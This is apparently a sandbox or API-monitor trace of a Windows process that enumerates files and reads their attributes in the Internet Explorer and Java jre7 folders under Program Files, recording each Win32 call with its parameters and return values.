	[0054.977] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsprofilerui.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125e5b88 | out: lpFileInformation=0x125e5b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00)) returned 1
	[0054.977] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files (x86)\\internet explorer\\hmmapi.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5bd8 | out: lpFileInformation=0x125e5bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be033e8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2be033e8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x90894420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600)) returned 1
	[0054.977] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files (x86)\\internet explorer\\ie8props.propdesc"), fInfoLevelId=0x0, lpFileInformation=0x125e5c28 | out: lpFileInformation=0x125e5c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7f46f7c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xd7f46f7c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xd7f6d0dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa59)) returned 1
	[0054.978] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files (x86)\\internet explorer\\iecompat.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5c78 | out: lpFileInformation=0x125e5c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22549a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22549a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb22a0c69, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0054.978] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files (x86)\\internet explorer\\iedvtool.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5cc8 | out: lpFileInformation=0x125e5cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22ecf2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22ecf2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23391ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd2000)) returned 1
	[0054.979] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ieinstal.exe"), fInfoLevelId=0x0, lpFileInformation=0x125e5d18 | out: lpFileInformation=0x125e5d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb273d712, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb273d712, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b200)) returned 1
	[0054.979] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ielowutil.exe"), fInfoLevelId=0x0, lpFileInformation=0x125e5d68 | out: lpFileInformation=0x125e5d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27a3bdc, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb27a3bdc, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6b1085f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c400)) returned 1
	[0054.979] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files (x86)\\internet explorer\\ieproxy.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5db8 | out: lpFileInformation=0x125e5db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb23391ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb23391ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23854ab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27e00)) returned 1
	[0054.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe"), fInfoLevelId=0x0, lpFileInformation=0x125e5e08 | out: lpFileInformation=0x125e5e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e87a7f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2e87a7f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2eadbdf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa4510)) returned 1
	[0054.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files (x86)\\internet explorer\\jsdbgui.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5e58 | out: lpFileInformation=0x125e5e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a5d3f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a5d3f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2aa96b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1
	[0054.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files (x86)\\internet explorer\\jsdebuggeride.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5ea8 | out: lpFileInformation=0x125e5ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d665b0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d665b0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000)) returned 1
	[0054.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files (x86)\\internet explorer\\jsprofilerui.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5ef8 | out: lpFileInformation=0x125e5ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2aa96b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2aa96b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2acf818, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x56400)) returned 1
	[0054.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files (x86)\\internet explorer\\msdbg2.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5f48 | out: lpFileInformation=0x125e5f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4239426f, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x4239426f, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x67fe631c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x40df8)) returned 1
	[0054.983] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files (x86)\\internet explorer\\pdm.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5f98 | out: lpFileInformation=0x125e5f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0ea3c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x68b0ea3c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x68b34b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x56df8)) returned 1
	[0054.983] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files (x86)\\internet explorer\\sqmapi.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe008 | out: lpFileInformation=0x125fe008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600)) returned 1
	[0054.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java" (normalized: "c:\\program files (x86)\\java"), fInfoLevelId=0x0, lpFileInformation=0x125fe058 | out: lpFileInformation=0x125fe058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x734f7d60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x734f7d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java" (normalized: "c:\\program files (x86)\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.984] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\*", lpFindFileData=0x1251b9e0 | out: lpFindFileData=0x1251b9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x734f7d60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x734f7d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.985] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x734f7d60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x734f7d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.985] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 1
	[0054.985] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.986] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.986] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7" (normalized: "c:\\program files (x86)\\java\\jre7"), fInfoLevelId=0x0, lpFileInformation=0x125fe0f8 | out: lpFileInformation=0x125fe0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0054.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7" (normalized: "c:\\program files (x86)\\java\\jre7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.986] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.986] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.986] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1
	[0054.986] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0054.986] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1
	[0054.986] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0054.986] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1
	[0054.986] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1
	[0054.986] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1
	[0054.986] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b350, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1
	[0054.987] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1
	[0054.987] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.987] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" (normalized: "c:\\program files (x86)\\java\\jre7\\copyright"), fInfoLevelId=0x0, lpFileInformation=0x125fe468 | out: lpFileInformation=0x125fe468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51)) returned 1
	[0054.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" (normalized: "c:\\program files (x86)\\java\\jre7\\license"), fInfoLevelId=0x0, lpFileInformation=0x125fe4b8 | out: lpFileInformation=0x125fe4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29)) returned 1
	[0054.988] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x125fe508 | out: lpFileInformation=0x125fe508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f)) returned 1
	[0054.988] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt"), fInfoLevelId=0x0, lpFileInformation=0x125fe558 | out: lpFileInformation=0x125fe558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e8b1)) returned 1
	[0054.988] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), fInfoLevelId=0x0, lpFileInformation=0x125fe5a8 | out: lpFileInformation=0x125fe5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b350)) returned 1
	[0054.989] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), fInfoLevelId=0x0, lpFileInformation=0x125fe5f8 | out: lpFileInformation=0x125fe5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7)) returned 1
	[0054.989] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin"), fInfoLevelId=0x0, lpFileInformation=0x125fe648 | out: lpFileInformation=0x125fe648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1
	[0054.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.989] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.990] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.990] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1
